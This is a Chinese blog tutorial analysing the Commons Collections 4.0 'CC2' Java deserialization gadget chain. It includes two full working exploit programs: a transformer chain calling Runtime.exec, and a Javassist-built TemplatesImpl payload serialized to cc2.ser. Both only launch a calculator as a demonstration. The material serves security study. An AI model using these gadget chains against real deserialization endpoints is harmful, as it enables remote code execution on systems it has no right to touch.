Java反序列化 CC2链分析

环境准备

CC2使用的是PriorityQueuejavassist来构造利用链,且对jdk版本要求没这么严格了,这里我继续沿用之前做CC1用的jdk8u-65

然后用的是commons-collections 4.0,因为只有4.0版本开始,TransformingComparator才支持序列化,从而能够被序列化流利用,完成包括通过PriorityQueue触发执行链的步骤

修改pom.xml文件

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>

然后在Maven同步项目即可

利用链1

初步探索

首先我们讲链1,这条链不需要用到Javassist,会简单一些

反序列化入口地点为PriorityQueue.readObject()

最后调用了heapify()方法,继续跟进看看

>>>是无符号右移,>>是有符号右移,size >>> 1表示将变量 size 的二进制位整体向右移动1位,也就是除以二保留整数。又因为要求i >= 0,也就是size除以2保留整数然后减一要大于等于0,计算得到i >= 2才可以进入循环,这个要记住,后面会用到

发现调用siftDown()方法,继续跟进

可以看到有两个方法,我们先跟进siftDownUsingComparator

调用了comparator.compare()方法,跟进comparator看看定义

继续查看Comparator,发现是个接口,compare是它的抽象方法

接下来就是查找有哪些类实现了compare方法且可以被后续利用,发现TransformingComparator类符合要求

调用了transformer.transform(),接下来就跟CC1剩下的步骤一样,用InvokerTransformer.transform()来调用危险函数

我们先看看CC1的利用链,如果忘记了如何构造链子可以看Java反序列化 CC1链分析

再看看我们构造的CC2链

ChainedTransformer.transform()一直到后面都是一样的,那我们可以先尝试构造代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(1, transformingComparator);
// 因为要i >= 2,所以add两个
queue.add(1);
queue.add(2);

try{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}

try{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}

但是如果运行的话,会直接弹出两个计算器,而且我们想要的cc2.ser也没有生成

终端还弹出了个异常

那我们怎么解决,接下来深入分析一下

逐步完善

先讲讲异常,PriorityQueue在 Java 中要求元素要么实现 Comparable 接口,要么在构造时提供 Comparator,但是由于Runtime.exec返回ProcessImpl实例,因此TransformingComparatortransform返回的是ProcessImpl,不是Comparable,所以抛出ClassCastException,后面调试时也可以看到

问AI解释如下

接下来就是为什么不生成cc2.ser,我们在PriorityQueue的add函数打个断点调试

当执行到queue.add(2)offer()进入了else分支

继续跟进,因为comparator不为null,进入siftUpUsingComparator方法

继续跟,可以看到调用了comparator.compare()

再次跟进,发现调用了transformer.transform,两个transform对应弹出两个计算器

接下来调用decorated.compare来比较,但是因为两个都是ProcessImpl,无法比较,所以抛出异常结束

这也就导致后面的序列化和反序列化无法正常执行,因此我们要想办法绕过siftUpUsingComparator方法,让其先不要这么早抛出错误

由前面可知,当comparator为null会进入siftDownComparable方法,我们跟进看一下

可以看到最后进行了赋值操作,没有调用compare方法。那我们可以把queuecomparator参数先去掉,让其先不要进入siftUpUsingComparator方法,然后通过反射给comparator赋值即可

1
2
3
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);

这次成功进入siftUpComparable方法

后面也是成功执行序列化和反序列化

最终利用

综上,我们得到完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);

try{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}

try{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}

利用链2

接下来就是第二条利用链,需要用到Javassist来动态创建类,这条链比第一条要难上一些,我们逐步分析

什么是Javassist

Javassist是一个开源的Java字节码操作库,主要用于在Java程序中动态创建和修改类。它的特点是使用简单,开发者不需要深入了解虚拟机指令,能够像写Java代码一样直接插入代码片段来动态生成新类或改变已有类的结构。换句话说,Javassist确实是一个可以动态创建类的工具库,它允许在运行时生成类的字节码并加载到JVM中,支持添加字段、方法、构造函数等操作,实现动态字节码修改和类的动态定义

举个例子

1
2
3
4
5
6
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Hello");
CtMethod m = cc.getDeclaredMethod("say");
m.insertBefore("{ System.out.println(\"Hello.say():\"); }");
Class clazz = cc.toClass();
Object obj = clazz.newInstance();

这里,Hello类的say方法被插入打印语句,随后调用toClass(),把修改后的类加载成Java类,并创建其实例

需要知道的是,用makeClassInitializer()插入代码,最终生成的类就有static块,存在静态初始化方法的类,在该类首次被加载并初始化时执行一次,如反射、创建实例、访问静态成员等,该方法都会被自动调用。先记住,我们后面会用到

过程分析

这条链的核心是TemplatesImpl类的newTransformer()方法

我们看到有个getTransletInstance()方法,跟进去看看

_name不为null且_class等于null时,会执行函数defineTransletClasses(),继续跟进去看看

要求_bytecodes不为null,然后通过loader.defineClass()将字节数组还原成Class对象,接着尝试获取父类,检测是否为ABSTRACT_TRANSLET,通过则_transletIndex = i

最后回到getTransletInstance()方法继续执行,将我们动态创建的类实例化,并执行写入的static代码

代码构造

我们回到一开始,反序列化的入口为PriorityQueue.readObject(),刚开始的构造步骤跟链1一样,就不细讲了,这里放个我自己简单做的图,可以快速回忆一下

不同的是InvokerTransformer类这里,我们不是直接调用Runtime执行命令,而是要在这里调用TemplatesImplnewTransformer()方法,因此需要传入iMethodName,我们看看InvokerTransformer的构造器

private方法,接下来就是通过反射来实现,构建代码如下

1
2
3
Constructor invokerTransformerConstructor = InvokerTransformer.class.getDeclaredConstructor(String.class);
invokerTransformerConstructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) invokerTransformerConstructor.newInstance("newTransformer");

然后把链1传给TransformingComparator的参数改一下,传入我们写的transformer

1
2
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

为了后面能方便地通过反射修改私有字段,我们写一个函数

1
2
3
4
5
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

接下来就要用到Javassist了,构造代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 获取javassist类池,插入AbstractTranslet类所在的路径,然后创建新的空类Evil
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
// 在静态初始化块中插入恶意命令代码,需要用到 makeClassInitializer()
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
// 继承AbstractTranslet类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 避免文件名重复
String rename = "Evil" + System.nanoTime();
cc.setName(rename);
cc.writeFile();
// 将动态类转为字节码byte数组
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

实例化之后效果如下

接着根据我们前面的分析过程,尝试实例化TemplatesImpl()并修改相关字段,_bytecodes为前面Javassist那里写的targetByteCodes恶意字节码

1
2
3
4
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");// 随便传个值,不为null就可以
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

然后对于TransformingComparator.compare()obj1,我们传入实例化的TemplatesImpl,也就是templatesobj2就随便传个1。同样的,我们也是通过反射来设置,绕过add()方法,直接构建反序列化所需的状态

1
2
3
4
Object[] array = new Object[]{templates, 1};
setFieldValue(queue, "queue", array);
setFieldValue(queue, "size", 2);
setFieldValue(queue, "comparator", transformingComparator);

最后,我们画个图来直观感受一下

最终利用

把前面的代码整理合并一起,得到完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String rename = "Evil" + System.nanoTime();
cc.setName(rename);
cc.writeFile();
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

Constructor invokerTransformerConstructor = InvokerTransformer.class.getDeclaredConstructor(String.class);
invokerTransformerConstructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) invokerTransformerConstructor.newInstance("newTransformer");

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

Object[] array = new Object[]{templates, 1};
setFieldValue(queue, "queue", array);
setFieldValue(queue, "size", 2);
setFieldValue(queue, "comparator", transformingComparator);

try{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}

try{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

验证一下,成功执行

总结

这次的审计相比CC1更快了,多阅读代码对自己帮助挺大的,同时一通审计下来发现思路真的很妙,很惊叹CC链作者的脑洞,还得继续努力,加油

作者

WayneJoon.H

发布于

2025-11-10

许可协议